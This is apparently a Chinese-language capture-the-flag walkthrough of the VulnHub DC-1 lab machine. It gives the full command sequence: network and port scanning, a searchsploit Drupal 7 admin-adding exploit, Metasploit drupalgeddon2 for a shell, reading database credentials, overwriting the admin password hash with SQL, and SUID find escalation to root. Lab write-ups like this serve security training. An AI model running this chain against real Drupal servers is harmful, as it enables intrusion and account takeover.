靶场的搭建
设备:vm虚拟机,靶场的镜像,kali
靶场的镜像我已经放在下面的百度网盘链接了,解压之后直接用vm打开就可以了
链接: https://pan.baidu.com/s/1edYJckSJB5pRdX7V6tVe8A?pwd=yy22 提取码: yy22
信息收集
主机扫描
netdiscover
netdiscover -r 192.168.2.0/24
所以靶机的ip是192.168.2.132
端口扫描
nmap -sS -sV -A -n 192.168.2.129
发现开放了22、80,111端口
我们先看一下80端口,发现是一个登录界面
目录扫描
没有发现什么有用的目录
网页信息收集
whatweb -v 192.168.2.132
信息收集总结
端口号 22/80/111/
drupal cms 7
PHP 5.4.45
Apache 2.2.22
漏洞利用
添加新账户渗透
searchsploit drupal 7
可以尝试使用34992号脚本来进行admin 用户的添加,先下载该脚本
searchsploit 34992 -m
运行该脚本发现输出
所以添加用户admin1、123456
这里要注意一点的就是,这个脚本是用python2版本的语法写的,如果用python3运行会出现语法错误的,我的kali是装了两个版本的python,所以切换一下版本就可以了,如果添加不成功,可能 是用户名已存在,换 一个用户名就可以了
python2 34992.py -t http://192.168.2.132 -u admin1 -p 123456
成功添加新用户,试试登陆网址
因为开放了22端口也找到账户和密码,所以我们可以试试ssh连接,这里我是用xshell连接的
这里发现ssh连接不上,如果有师傅知道原因可以在评论区说一下
MSF后渗透
开启msf
寻找网络上漏洞
search drupal
也可以在漏洞库中查询:
https://www.exploit-db.com/
我们可以利用exploit/unix/webapp/drupal_drupalgeddon2
利用漏洞
use exploit/unix/webapp/drupal_drupalgeddon2
查看需要配置的文件
show options
required中如果为yes,是必须配置项,所以没有配置的我们要手动配置
set rhosts 192.168.2.132 #为配置靶机的ip地址
运行得到shell进入交互式
run
shell
python -c 'import pty;pty.spawn("/bin/bash")'
我们发现当前用户为普通用户(www-data)
flag
flag1
查看当前目录下的文件和权限
我们发现flag1.txt文件,普通用户有权限可以查看的,看看内容是什么
我们发现是一个提示,提示我们去找配置文件:Every good CMS needs a config file - and so do you. 每个好的CMS都需要一个配置文件——您也一样。
flag2
我们查看一下settings.php一般是cms的配置文件,并且查看文件内容
fing / -name settings.php
flag2给出了数据库的账户和密码,我们可以登录数据库看看数据库有什么信息
flag3
mysql -udbuser -pR0ck3t
查询数据库
show databases;
查询数据库中的数据表
use drupalbd;
show tables;
查看数据表users
可以发现是账户的密码,但是加密方式为哈希加密,哈希 的逆解破解难度大,我们可以用linux系统的passwd-hash.sh文件生成一个新密码
先查找password-hash.sh文件
find / -name password-hash.sh
查看文件内容
发现是php文件,所以运行该代码生成新加密后的密码
php /var/www/scripts/password-hash.sh 123456
更改密码
update users set pass="$S$DIWG9iLHNYccmIMRVj8NvWicOsxJvqEzC3.RXI80LYk6ZG6TMTjZ" where name="admin" or name="Fred";
修改成功,登录
观察该网址发现flag3
flag4
flag3得到提示:Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.//特殊的PERMS将帮助查找passwd -但是您需要-执行该命令才能知道如何获得阴影中的内容。
我们去看看passwd文件
cat /etc/passwd
发现flag4的目录,去看看flag4有什么信息提示
查看一下flag4.txt文件
flag5(提权)
flag4提示我们:Can you use this same method to find or access the flag in root?//您可以使用相同的方法来查找或访问根中的标志吗?Probably. But perhaps it's not that easy. Or maybe it is?//可能。但也许没那么容易。也许是这样
也就是提示我们要提权到root用户,才能访问一开始的root根目录,才能得到flag
没有权限访问根目录,查找一下当前用户可执行的文件
find / -perm -u=s -type f 2>/dev/null
发现有su和find,但是su提权需要密码,所以我们直接用find提权
find / -exec "/bin/bash" -p ;
成功提权到root权限,进入root根目录看看,发现最后的flag文件
成功得到最后的flag!!!
学到了很多东西和工具 的用法,感兴趣的可以关注微信 公众号【Cauchy安全】,一起一步步慢慢来,该到达的高度终将会抵达的,加油
参考文章:
https://blog.csdn.net/QYbkx974/article/details/140289981?fromshare=blogdetail&sharetype=blogdetail&sharerId=140289981&sharerefer=PC&sharesource=2301_77091612&sharefrom=from_link
原文始发于微信公众号(Cauchy安全):VulnHub靶场之DC-1超详细利用脚本漏洞与MSF后渗透
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论